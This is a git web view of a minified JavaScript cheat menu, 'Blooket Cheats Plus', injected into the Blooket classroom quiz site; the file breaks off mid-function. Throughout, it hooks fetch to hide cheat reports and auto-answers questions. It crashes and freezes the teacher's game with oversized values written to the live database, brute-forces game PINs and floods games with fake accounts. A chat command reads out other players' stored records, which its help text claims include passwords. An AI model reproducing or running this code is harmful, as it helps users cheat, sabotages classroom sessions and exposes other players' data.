Update Gui.js
[bcp.git] / MobileGUI / mobileGui.js
blobef83850e0b10034c37be45ebe67613071a3c0f2c
1 (async () => {
2 if (String(window.fetch.call).includes("native")) {
3 var e = window.fetch.call;
4 window.fetch.call = function() {
5 if (!arguments[1].includes("s.blooket.com/rc")) return e.apply(this, arguments);
6 console.log("You tried to get caught cheating!")
8 } else console.log("already run");
9 if (console.log("%c Blooket Cheats Plus %c\n By DannyDan0167 on GitHub", "color: #0bc2cf; font-size: 3rem", "color: #8000ff; font-size: 1rem"), console.log("%c Mobilegui.js", "color: #0bc2cf; font-size: 1rem"), console.log("%c Star the github repo!%c https://github.com/DannyDan0167/Blooket-Cheats-Plus", "color: #ffd000; font-size: 1rem", ""), document.querySelector("script[src*='bfs/index.js']") && !window.clearId) {
10 for (var t = document.createElement("iframe"), o = (document.body.appendChild(t), window.clearId = window.setInterval(() => {}, 0)); o--;) t.contentWindow.clearInterval.call(window, o);
11 t.remove()
12 } {
13 var t, o = document.createElement("iframe"),
14 o = (document.body.append(o), window.alert = o.contentWindow.alert.bind(window), window.prompt = o.contentWindow.prompt.bind(window), window.confirm = o.contentWindow.confirm.bind(window), o.remove(), (e, t = {}) => Object.entries(t).forEach(([t, o]) => e.style[t] = o));
15 (t = document.createElement("style")).innerHTML = "details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }";
16 let a = document.createElement("div");
17 [...document.querySelectorAll("#JODMOBILE")].forEach(e => e.remove()), a.id = "JODMOBILE", a.appendChild(t), o(a, {
18 width: "400px",
19 background: "hsl(0, 0%, 10%)",
20 backgroundImage: "linear-gradient(rgba(0, 0, 0, 0.95), rgba(0, 0, 0, 0.95)), url(https://ac.blooket.com/dashboard/65a43218fd1cabe52bdf1cda34613e9e.png)",
21 borderRadius: "10px",
22 position: "absolute",
23 textAlign: "center",
24 fontFamily: "Nunito",
25 color: "white",
26 overflow: "hidden",
27 top: "50px",
28 left: "50px"
29 });
30 var r, n, i = 0,
31 s = 0,
32 t = (a.onpointerdown = (e = window.event) => {
33 e.preventDefault(), i = e.clientX, s = e.clientY, document.onpointerup = () => {
34 document.onpointerup = null, document.onpointermove = null
35 }, document.onpointermove = e => {
36 (e = e || window.event).preventDefault(), r = i - e.clientX, n = s - e.clientY, i = e.clientX, s = e.clientY, a.style.top = a.offsetTop - n + "px", a.style.left = a.offsetLeft - r + "px"
38 }, document.createElement("div")),
39 l = (a.appendChild(t), o(t, {
40 width: "100%",
41 height: "35px",
42 paddingTop: "2px",
43 fontSize: "1.5rem",
44 textAlign: "center"
45 }), t.innerHTML = 'Blooket Cheats Plus <span style="font-size: 0.75rem">v15.30.00</span>', document.createElement("button")),
46 l = (t.appendChild(l), o(l, {
47 background: "red",
48 height: "45px",
49 width: "45px",
50 border: "none",
51 cursor: "pointer",
52 position: "absolute",
53 top: "-10px",
54 right: "-10px",
55 fontSize: "1.5rem",
56 borderRadius: "10px",
57 fontFamily: "Nunito",
58 fontWeight: "bolder",
59 paddingTop: "10px",
60 paddingRight: "15px"
61 }), l.innerText = "X", l.onclick = () => {
62 $(), a.remove(), removeEventListener("keypress", f)
63 }, document.createElement("button"));
64 t.appendChild(l), o(l, {
65 background: "#444444",
66 height: "45px",
67 width: "45px",
68 border: "none",
69 cursor: "pointer",
70 position: "absolute",
71 top: "-10px",
72 left: "-10px",
73 fontSize: "1.5rem",
74 borderRadius: "10px",
75 fontFamily: "Nunito",
76 fontWeight: "bolder",
77 paddingTop: "10px",
78 paddingLeft: "15px"
79 }), l.innerText = "-", l.onclick = () => c.hidden = !c.hidden;
80 let c = document.createElement("div"),
81 d = (t = document.createElement("div"), c.appendChild(t), a.appendChild(c), t.innerHTML = `<span id="curPageEl">${_(!0)?"Current gamemode: "+_(!0):"No game detected"}</span><br><span>(Press E to hide)</span><br>`, t.style.display = "block", t.style.margin = "10px", document.body.append(a), o = document.createElement("div"), c.appendChild(o), o.style.fontSize = "0.9rem", o.style.paddingBottom = "5px", {
82 global: [{
83 name: "Auto Answer (Toggle)",
84 description: "Toggles auto answer on",
85 type: "toggle",
86 enabled: (o.innerHTML = '<span><a target="blank" href="https://discord.gg/8A6J234n7v">Discord</a><br/><a target="blank" href="https://github.com/DannyDan0167/Blooket-Cheats-Plus/">GitHub - DannyDan0167</a></span>', !1),
87 data: null,
88 run: function() {
89 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
90 let {
91 state: {
92 question: e,
93 stage: t,
94 feedback: o
96 props: {
97 client: {
98 question: a
101 } = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
102 try {
103 "typing" != e.qType ? ("feedback" === t || o ? document.querySelector('[class*="feedback"]')?.firstChild : [...document.querySelectorAll('[class*="answerContainer"]')][(e || a).answers.map((t, o) => (e || a).correctAnswers.includes(t) ? o : null).filter(e => null != e)[0]])?.click?.() : Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(e.answers[0])
104 } catch {}
105 }, 50))
107 }, {
108 name: "Highlight Answers (Toggle)",
109 description: "Toggles highlight answers on",
110 type: "toggle",
111 enabled: !1,
112 data: null,
113 run: function() {
114 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
115 let {
116 stateNode: {
117 state: e,
118 props: t
120 } = Object.values(function e(t = document.querySelector("body>div")) {
121 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
122 }())[1].children[0]._owner;
123 [...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
124 (e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) ? o.style.backgroundColor = "rgb(0, 207, 119)" : o.style.backgroundColor = "rgb(189, 15, 38)"
126 }, 50))
128 }, {
129 name: "Subtle Highlight Answers (Toggle)",
130 description: "Toggles subtle highlight answers on",
131 type: "toggle",
132 enabled: !1,
133 data: null,
134 run: function() {
135 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
136 let {
137 stateNode: {
138 state: e,
139 props: t
141 } = Object.values(function e(t = document.querySelector("body>div")) {
142 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
143 }())[1].children[0]._owner;
144 [...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
145 (e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) && (o.style.boxShadow = "unset")
147 }, 50))
149 }, {
150 name: "Freeze Leaderboard",
151 description: "Freezes the leaderboard on the host's screen",
152 type: "toggle",
153 enabled: !1,
154 data: null,
155 run: function() {
156 if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null;
157 else {
158 this.enabled = !0;
159 let e = () => {
160 var e = Object.values(function e(t = document.querySelector("#app")) {
161 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
162 }())[1].children[0]._owner.stateNode;
163 e.props.liveGameController.setVal({
164 path: `c/${e.props.client.name}/tat/Freeze`,
165 val: "Frozen"
168 this.data = setInterval(e, 50)
171 }, {
172 name: "Percent Auto Answer",
173 description: "Answers questions correctly or incorrectly depending on the goal grade given (Disable and re-enable to update goal)",
174 type: "toggle",
175 enabled: !1,
176 data: null,
177 run: function() {
178 if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null;
179 else {
180 this.enabled = !0;
181 let e = parseFloat(prompt("What grade do you want to get from this set? (0-100)"));
182 for (;
183 "number" != typeof e || isNaN(e);) e = parseFloat(prompt("What grade do you want to get from this set? (0-100)\nInvalid Number"));
184 let {
185 stateNode: t
186 } = Object.values(function e(t = document.querySelector("body>div")) {
187 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
188 }())[1].children[0]._owner;
189 this.data = setInterval(e => {
190 try {
191 let o = t.state.question || t.props.client.question;
192 if ("feedback" == t.state.stage || t.state.feedback) return document.querySelector('[class*="feedback"], [id*="feedback"]')?.firstChild?.click?.();
193 if (document.querySelector("[class*='answerContainer']") || document.querySelector("[class*='typingAnswerWrapper']")) {
194 let a = 0,
195 r = 0;
196 for (let n in t.corrects) a += t.corrects[n];
197 for (let i in t.incorrects) r += t.incorrects[i];
198 r += a;
199 let s = 0 == r || Math.abs(a / (r + 1) - e) >= Math.abs((a + 1) / (r + 1) - e);
200 if ("typing" != t.state.question.qType) {
201 let l = document.querySelectorAll("[class*='answerContainer']");
202 for (let c = 0; c < l.length; c++) {
203 let d = o.correctAnswers.includes(o.answers[c]);
204 if (s && d || !s && !d) return l[c]?.click?.()
206 l[0].click()
207 } else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(s ? o.answers[0] : Math.random().toString(36).substring(2))
209 } catch {}
210 }, 100, (e ?? 100) / 100)
213 }, {
214 name: "Auto Answer",
215 description: "Click the correct answer for you",
216 run: function() {
217 let {
218 state: {
219 question: e,
220 stage: t,
221 feedback: o
223 props: {
224 client: {
225 question: a
228 } = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
229 try {
230 "typing" != e.qType ? ("feedback" === t || o ? document.querySelector('[class*="feedback"]')?.firstChild : [...document.querySelectorAll('[class*="answerContainer"]')][(e || a).answers.map((t, o) => (e || a).correctAnswers.includes(t) ? o : null).filter(e => null != e)[0]])?.click?.() : Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(e.answers[0])
231 } catch {}
233 }, {
234 name: "Highlight Answers",
235 description: "Colors answers to be red or green highlighting the correct ones",
236 run: function() {
237 let {
238 stateNode: {
239 state: e,
240 props: t
242 } = Object.values(function e(t = document.querySelector("body>div")) {
243 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
244 }())[1].children[0]._owner;
245 [...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
246 (e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) ? o.style.backgroundColor = "rgb(0, 207, 119)" : o.style.backgroundColor = "rgb(189, 15, 38)"
249 }, {
250 name: "Subtle Highlight Answers",
251 description: "Removes the shadow from correct answers",
252 run: function() {
253 let {
254 stateNode: {
255 state: e,
256 props: t
258 } = Object.values(function e(t = document.querySelector("body>div")) {
259 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
260 }())[1].children[0]._owner;
261 [...document.querySelectorAll('[class*="answerContainer"]')].forEach((o, a) => {
262 (e.question || t.client.question).correctAnswers.includes((e.question || t.client.question).answers[a]) && (o.style.boxShadow = "unset")
265 }, {
266 name: "Spam Buy Blooks",
267 description: "Opens a box an amount of times",
268 run: async function() {
269 let e = document.createElement("iframe");
270 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.prompt = e.contentWindow.prompt.bind(window), window.confirm = e.contentWindow.confirm.bind(window), e.remove();
271 let {
272 stateNode: t
273 } = Object.values(function e(t = document.querySelector("body>div")) {
274 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
275 }())[1].children[0]._owner, o = Array.from(document.querySelectorAll("[class*='packsWrapper'] > div")).reduce((e, t) => (t.querySelector("[class*='blookContainer'] > img") || (e[t.querySelector("[class*='packImgContainer'] > img").alt] = parseInt(t.querySelector("[class*='packBottom']").textContent)), e), {}), a = prompt('Which box do you want to open? (ex: "Ice Monster")').split(" ").map(e => e.charAt(0).toUpperCase() + e.slice(1).toLowerCase()).join(" "), r = o[a];
276 if (!r) return alert("I couldn't find that box!");
277 let n = Math.min(Math.floor(t.state.tokens / r), parseInt(`0${prompt("How many boxes do you want to open?")}`));
278 if (0 == n) return alert("You do not have enough tokens!");
279 let i = confirm("Would you like to show blooks as unlocking?"),
280 s = {},
281 l = Date.now();
282 for (let c = 0; c < n; c++) {
283 await t.buyPack(!0, a), s[t.state.unlockedBlook] ||= 0, s[t.state.unlockedBlook]++;
284 let d = Date.now();
285 l += Date.now() - d, t.setState({
286 canOpen: !0,
287 currentPack: "",
288 opening: i,
289 doneOpening: i,
290 openPack: i
291 }), clearTimeout(t.canOpenTimeout)
293 await new Promise(e => setTimeout(e)), alert(`(${Date.now()-l}ms) Results: ${Object.entries(s).map(([e,t])=>` ${e} ${t}`).join(` `)}`)
295 }, {
296 name: "Remove Name Limit",
297 description: "Sets the name limit to 120, which is the actual max name length limit",
298 run: function() {
299 var e = document.createElement("iframe");
300 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), document.querySelector('input[class*="nameInput"]').maxLength = 120, alert("Removed name length limit")
302 }, {
303 name: "Remove Random Name",
304 description: "Allows you to put a custom name",
305 run: function() {
306 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
307 isRandom: !1,
308 client: {
309 name: ""
311 }), document.querySelector('[class*="nameInput"]')?.focus?.()
313 }, {
314 name: "Sell Duplicate Blooks",
315 description: "Sell all duplicate blooks leaving you with 1 each",
316 run: async function() {
317 let e = document.createElement("iframe");
318 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), window.confirm = e.contentWindow.confirm.bind(window), e.remove(), /dashboard.*\/blooks/.test(window.location.href)) {
319 if (confirm("Are you sure you want to sell your dupes? (Legendaries and rarer will not be sold)")) {
320 let {
321 stateNode: t
322 } = Object.values(function e(t = document.querySelector("body>div")) {
323 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
324 }())[1].children[0]._owner, o = Date.now(), a = "";
325 for (let r in t.state.blookData)
326 if (t.state.blookData[r] > 1) {
327 if (t.setState({
328 blook: r,
329 numToSell: t.state.blookData[r] - 1
330 }), ["Legendary", "Chroma", "Mystical"].includes(document.querySelector("[class*='highlightedRarity']").innerText.trim())) continue;
331 a += ` ${r} ${t.state.blookData[r]-1} `, await t.sellBlook({
332 preventDefault() {}
333 }, !0)
334 } alert(`(${Date.now()-o}ms) Results: ${a.trim()}`)
336 } else alert("This can only be ran in the Blooks page.")
338 }, {
339 name: "Remove all Taken Blooks",
340 description: "Removes all taken blooks, allowing you to use any taken blook. Only works in lobby.",
341 run: function() {
342 const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
343 stateNode.setState({
344 takenBlooks: {
345 includes: e => !1
348 stateNode.setState = function(a, b) {
349 if (a?.takenBlooks) {
350 return;
352 stateNode.updater.enqueueSetState(stateNode, a, b, "setState");
355 }, {
356 name: "Simulate Unlock",
357 description: "Simulates unlocking a certain blook",
358 run: function() {
359 var unlockedBlook = window.prompt("Enter the blook (Case Sensitive):");
361 const stateNode = Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
362 stateNode.setState({
363 loadingPack: false,
364 openPack: true,
365 unlockedBlook,
366 newUnlock: true,
367 canOpen: false
369 setTimeout(() => stateNode.setState({
370 canOpen: true
371 }), 200);
373 }, {
374 name: "Freeze Host",
375 description: "Freezes the host's screen",
376 run: function() {
377 const encodedChars = [
378 '\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
381 const chars = encodedChars.map(char => eval(`"${char}"`));
383 function makeLongText() {
384 return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
387 let {
388 props: t
389 } = Object.values(function e(t = document.querySelector("body>div")) {
390 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
391 }())[1].children[0]._owner.stateNode;
393 let repeatedText = makeLongText();
394 t.client.blook = repeatedText;
395 t.liveGameController.setVal({
396 path: `c/${t.client.name}/b`,
397 val: repeatedText
400 }, {
401 name: "Blooket Bot",
402 description: "Opens Blooket Bot",
403 run: function() {
404 function getGameCode() {
405 const appDiv = document.querySelector('#app>div>div');
406 if (appDiv) {
407 const reactComponent = Object.values(appDiv)[1]?.children[0]?._owner;
408 return reactComponent?.stateNode?.props?.client?.hostId || null;
410 return null;
413 const gameCode = getGameCode();
414 const url = gameCode ? "https://blooketbot.glitch.me/?code=" + gameCode : "https://blooketbot.glitch.me/";
415 window.open(url, "_blank", "width=500,height=500,resizable=yes,scrollbars=yes,status=yes");
417 }, {
418 name: "Lobbychat",
419 description: "Chat with other people and execute commands",
420 run: function() {
421 if (window.run) {
422 return;
423 } else {
424 window.run = true;
427 function e() {
428 return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner
430 var t = 0,
431 a = !1;
432 document.addEventListener("keydown", function(e) {
433 "`" === e.key && (a = !a, o.style.display = a ? "none" : "block")
435 let o = document.createElement("div");
436 o.className = "chat-box", document.body.appendChild(o);
437 let r = document.createElement("div");
438 r.className = "chat-header", r.textContent = "Chat", o.appendChild(r);
439 let i = document.createElement("div");
440 i.className = "chat-body", o.appendChild(i);
441 let n = document.createElement("input");
443 function s(e) {
444 let t = document.createElement("div");
445 t.textContent = e, i.appendChild(t)
447 n.type = "text", n.className = "chat-input", n.placeholder = "Type a message...", o.appendChild(n), o.style.position = "fixed", o.style.bottom = "20px", o.style.right = "20px", o.style.width = "300px", o.style.backgroundColor = "#fff", o.style.border = "1px solid #ccc", o.style.boxShadow = "0px 0px 10px rgba(0, 0, 0, 0.2)", r.addEventListener("click", () => {
448 i.classList.toggle("open")
449 }), n.addEventListener("keydown", function(a) {
450 13 === a.keyCode && (function a(o) {
451 var r, n, l, c, d, p, u, h = function e(t) {
452 if ("/" !== t.charAt(0)) return !1;
453 var a = t.split(" "),
454 o = a[0].replace("/", "");
455 return a.splice(0, 1), {
456 cmd: o,
457 args: a
459 }(o);
460 if (h) switch (h.cmd) {
461 case "cb":
462 r = h.args.join(" "), (n = webpackJsonp.push([
463 [], {
464 1234(e, t, a) {
465 t.webpack = a
469 ["1234"]
471 ]).webpack("MDrD").a)[r = Object.keys(n).find(e => r.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (s("Setting blook to " + r + "!"), e().stateNode.props.liveGameController.setVal({
472 id: e().stateNode.props.client.hostId,
473 path: "c/" + e().stateNode.props.client.name,
474 val: {
475 b: r
477 }), e().stateNode.props.client.blook = r) : s("No blook with that name was found!");
478 break;
479 case "clear":
480 i.innerHTML = "";
481 break;
482 case "dumpstate":
483 Object.keys(e().stateNode.state).map(t => {
484 var a = e().stateNode.state[t];
485 if (null == a) return "N/A";
486 Array.from(a) && "object" == typeof a && (a = "[Array]"), s(t + ":" + a)
487 }).join(";");
488 break;
489 case "list":
490 e().stateNode.props.liveGameController.getDatabaseVal("c").then(e => {
491 s("Current Players(" + Object.keys(e).length + "): " + Object.keys(e).join(","))
493 break;
494 case "tlog":
495 window.logsv = !window.logsv, s("SetVal log set to " + (window.logsv ? "Enabled" : "Disabled"));
496 break;
497 case "setval":
498 l = h.args, e().stateNode.props.liveGameController.setVal({
499 path: "c/" + e().stateNode.props.client.name + "/" + l[0],
500 val: l.slice(1, l.length).join(" ")
502 break;
503 case "setstate":
504 c = h.args, d = {}, c.forEach(e => {
505 var t = e.split(":");
506 Number.isNaN(parseInt(t[1])) || parseInt(t[1]).toString() !== t[1] || (t[1] = parseInt(t[1])), d[t[0]] = t[1]
507 }), e().stateNode.setState(d), s("Set Successful!");
508 break;
509 case "ahelp":
510 s("Advanced Commands: setval(sets val logged by tlog ex /setval b Chicken), tlog(toggles setval log), dumpstate(dumps react state),setstate(sets react state /setstate crypto:5 crypto2:5 etc)");
511 break;
512 case "help":
513 s("Available Commands: help(gives help),ahelp(advanced commands help), cb(changes blook /cb cow), list(lists players connected), dump(dumps all available info about a player, passwords, etc(/dump player)), clear(clears chat), code(gives game code), unlock(unlocks blook on lobby screen)");
514 break;
515 case "dump":
516 ! function t(a) {
517 e().stateNode.props.liveGameController.getDatabaseVal("c/" + a).then(e => {
518 null != e ? s("Dump: " + JSON.stringify(e)) : s("Player not found!")
520 }(h.args.join(" "));
521 break;
522 case "unlock":
523 p = h.args.join(" "), (u = webpackJsonp.push([
524 [], {
525 1234(e, t, a) {
526 t.webpack = a
530 ["1234"]
532 ]).webpack("MDrD").a)[p = Object.keys(u).find(e => p.toLocaleLowerCase() === e.toLocaleLowerCase())] ? (e().stateNode.state.unlocks.push(p), e().stateNode.forceUpdate()) : s("No blook with that name was found!");
533 break;
534 case "code":
535 s("Game Code: " + e().stateNode.props.client.hostId);
536 break;
537 default:
538 s("Unrecognized chat command!")
539 } else e().stateNode.props.liveGameController.setVal({
540 id: e().stateNode.props.client.hostId,
541 path: "c/" + e().stateNode.props.client.name + "/msg",
542 val: {
543 i: t,
544 msg: o
546 }), t++
547 }(a.srcElement.value), a.srcElement.value = "")
549 var l = e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_;
551 function c(e) {
552 window.logsv && s("Path: " + e.path.split("/").splice(2, 2).join("/") + " Val: " + ("object" == typeof e.val ? JSON.stringify(e.val) : e.val))
554 e().stateNode.props.liveGameController._liveApp.database()._delegate._repoInternal.server_.onDataUpdate_ = function(e, t, a, o) {
555 var r, i;
556 console.log(e, t, a, o), r = e, null != (i = t) && r.includes("/msg") && i?.msg && (console.log(i.msg), s(r.split("/")[2] + ": " + i.msg)), l(e, t, a, o)
557 }, window.logsv = !1;
558 var d = e().stateNode.props.liveGameController.setVal;
559 e().stateNode.props.liveGameController.setVal = function() {
560 c.apply(this, arguments), d.apply(this, arguments)
561 }, e().stateNode.props.liveGameController._liveApp.database().ref(`${e().stateNode.props.liveGameController._liveGameCode}`).on("value", e => {}), s("Lobbychat successfully loaded!"), o.style.wordWrap = "break-word"
563 }, {
564 name: "Pin Guesser",
565 description: "Brute forces combinations for existing pins",
566 run: function() {
567 var e = 0,
568 t = 0,
569 o = document.querySelector("div[class*='titleText']");
571 function a() {
572 return Object.values(function e(t = document.querySelector("body>div")) {
573 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
574 }())[1].children[0]._owner.stateNode
575 }(function r() {
576 let n = Math.floor(9e6 * Math.random()) + 1e6;
577 fetch(`https://fb.blooket.com/c/firebase/id?id=${n}`, {
578 method: "GET",
579 credentials: "include"
580 }).then(e => e.json()).then(i => {
581 !0 === i.success ? (console.log("Game found:", n), o.innerHTML = "Game Found!", a().setState({
582 client: {
583 hostId: n.toString()
585 })) : (console.log("No game found for:", n), a().setState({
586 client: {
587 hostId: n.toString()
589 }), e++, o.innerHTML = "Guesses: " + e, ++t > 15 ? (setTimeout(r, 1e3), t = 0) : r())
590 }).catch(e => {
591 alert("Error:" + e)
593 })()
595 }, {
596 name: "Crash Game",
597 description: "Crashes the host's game",
598 run: function() {
599 var e = Object.values(function e(t = document.querySelector("#app")) {
600 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
601 }())[1].children[0]._owner.stateNode;
602 e.props.liveGameController.setVal({
603 path: `c/${e.props.client.name}/b/toString`,
604 val: "Crashed"
607 }, {
608 name: "Every Answer Correct",
609 description: "Sets every answer to be correct",
610 run: function() {
611 let {
612 stateNode: e
613 } = Object.values(function e(t = document.querySelector("body>div")) {
614 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
615 }())[1].children[0]._owner;
616 e.freeQuestions = e.freeQuestions?.map?.(e => ({
617 ...e,
618 correctAnswers: e.answers
619 })), e.questions = e.questions?.map?.(e => ({
620 ...e,
621 correctAnswers: e.answers
622 })), e.props.client.questions = e.props.client.questions.map(e => ({
623 ...e,
624 correctAnswers: e.answers
627 }, {
628 name: "Flood Game",
629 description: "Floods a game with a number of fake accounts",
630 run: async function() {
631 let e = document.createElement("iframe");
633 function t() {
634 return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode
636 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
637 var o = {
638 randomNames: !1
640 a = t().props.liveGameController._liveApp.firebase;
641 async function r(e, t) {
642 let o = await fetch("https://fb.blooket.com/c/firebase/join", {
643 body: JSON.stringify({
644 id: e,
645 name: t
647 credentials: "include",
648 method: "PUT"
649 }).then(e => e.json());
650 if (o.success) {
651 let r = a.initializeApp({
652 apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",
653 authDomain: "blooket-2020.firebaseapp.com",
654 projectId: "blooket-2020",
655 storageBucket: "blooket-2020.appspot.com",
656 messagingSenderId: "741533559105",
657 appId: "1:741533559105:web:b8cbb10e6123f2913519c0",
658 measurementId: "G-S3H5NGN10Z",
659 databaseURL: o.fbShardURL
661 await r.auth().signInWithCustomToken(o.fbToken);
662 let n = r.database();
663 await n.ref(`${e}/c/${t}`).set({
664 b: "Rainbow Astronaut",
665 bg: "fire"
666 }), console.log("Bot joined!")
667 } else alert("Connect error: " + o.msg)
669 async function n() {
670 if (!t().props.liveGameController._liveApp) {
671 alert("You must be in a game for the flooder to work!");
672 return
674 var e, a = t().props.liveGameController._liveGameCode,
675 n = parseInt(prompt("Enter number of bots to flood with:"));
676 if (!n) {
677 alert("You must use a valid number!");
678 return
680 if (!o.randomNames) var s = prompt("Enter name of bots:");
681 for (var l = 0; l < n; l++) await r(a, e = o.randomNames ? i(15) : s + Math.floor(4e3 * Math.random()))
684 function i(e) {
685 for (var t = "", o = 0; o < e; o++) t += String.fromCharCode(65 + Math.floor(25 * Math.random()));
686 return t
690 }, {
691 name: "Change Blook Ingame",
692 description: "Changes your blook",
693 run: function() {
694 let i = document.createElement('iframe');
695 document.body.append(i);
696 window.prompt = i.contentWindow.prompt.bind(window);
697 i.remove();
698 let {
699 props
700 } = Object.values((function react(r = document.querySelector("body>div")) {
701 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
702 })())[1].children[0]._owner.stateNode;
703 props.client.blook = prompt("Blook Name: (Case Sensitive)");;
704 props.liveGameController.setVal({
705 path: `c/${props.client.name}/b`,
706 val: props.client.blook
709 }, {
710 name: "Change Name Ingame",
711 description: "Changes your name ingame",
712 run: function() {
713 var newname = window.prompt("Enter the new name:");
715 (async () => {
716 const reactHandler = () => Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode;
717 let i = document.createElement('iframe');
718 document.body.append(i);
719 let alert = i.contentWindow.alert.bind(window);
720 i.remove();
722 async function genToken(name) {
723 const res = await fetch("https://fb.blooket.com/c/firebase/join", {
724 body: JSON.stringify({
725 id: reactHandler().props.client.hostId,
726 name
728 headers: {
729 "Content-Type": "application/json"
731 method: "PUT",
732 credentials: "include"
733 }).then(e => e.json());
734 if (!res.success) {
735 alert("Error: " + res.msg);
736 return;
738 return res.fbToken;
741 const oldname = reactHandler().props.client.name;
742 reactHandler().props.client.name = newname;
743 const olddata = await reactHandler().props.liveGameController.getDatabaseVal(`c/${oldname}`);
744 await reactHandler().props.liveGameController.removeVal(`c/${oldname}`);
745 const token = await genToken(newname);
746 if (!token) {
747 return;
749 await reactHandler().props.liveGameController._liveApp.auth().signInWithCustomToken(token);
750 reactHandler().props.liveGameController._liveApp.auth().onAuthStateChanged(e => {
751 if (e.uid.split(":")[1] === newname) {
752 reactHandler().props.liveGameController.setVal({
753 path: `c/${newname}`,
754 val: olddata
758 reactHandler().setState({});
759 })();
761 }, {
762 name: "Set Blook Ad Text",
763 description: "Sets a load of text as your blook and floods the teacher's screen in the lobby",
764 run: function() {
765 var text = window.prompt("Enter the text:");
767 let t = Object.values(function e(t = document.querySelector("body>div")) {
768 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
769 }())[1].children[0]._owner.stateNode;
771 if (!String.prototype.inc) {
772 String.prototype.inc = String.prototype.includes;
775 String.prototype.includes = function(a) {
776 if (a == "#" && this.length > 30) {
777 return true;
779 return String.prototype.inc.apply(this, arguments);
782 let repeatedText = Array(500).fill(text).join(' ');
784 if (!t.state.unlocks) {
785 t.client.blook = repeatedText;
788 t.props.liveGameController.setVal({
789 path: `c/${t.props.client.name}/b`,
790 val: repeatedText
793 }, {
794 name: "Set Blook Ad Text Ingame",
795 description: "Sets a load of text as your blook",
796 run: function() {
797 var text = window.prompt("Enter the text:");
799 let {
800 props: t
801 } = Object.values(function e(t = document.querySelector("body>div")) {
802 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
803 }())[1].children[0]._owner.stateNode;
805 let repeatedText = Array(500).fill(text).join(' ');
806 t.client.blook = repeatedText;
807 t.liveGameController.setVal({
808 path: `c/${t.client.name}/b`,
809 val: repeatedText
812 }, {
814 name: "Get Daily Rewards",
815 description: "Gets max daily tokens and xp",
816 run: async function() {
817 let e = document.createElement("iframe");
818 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), location.href.includes("play.blooket.com")) {
819 let {
821 } = await fetch("https://play.blooket.com/api/playersessions/solo", {
822 body: JSON.stringify({
823 gameMode: "Factory",
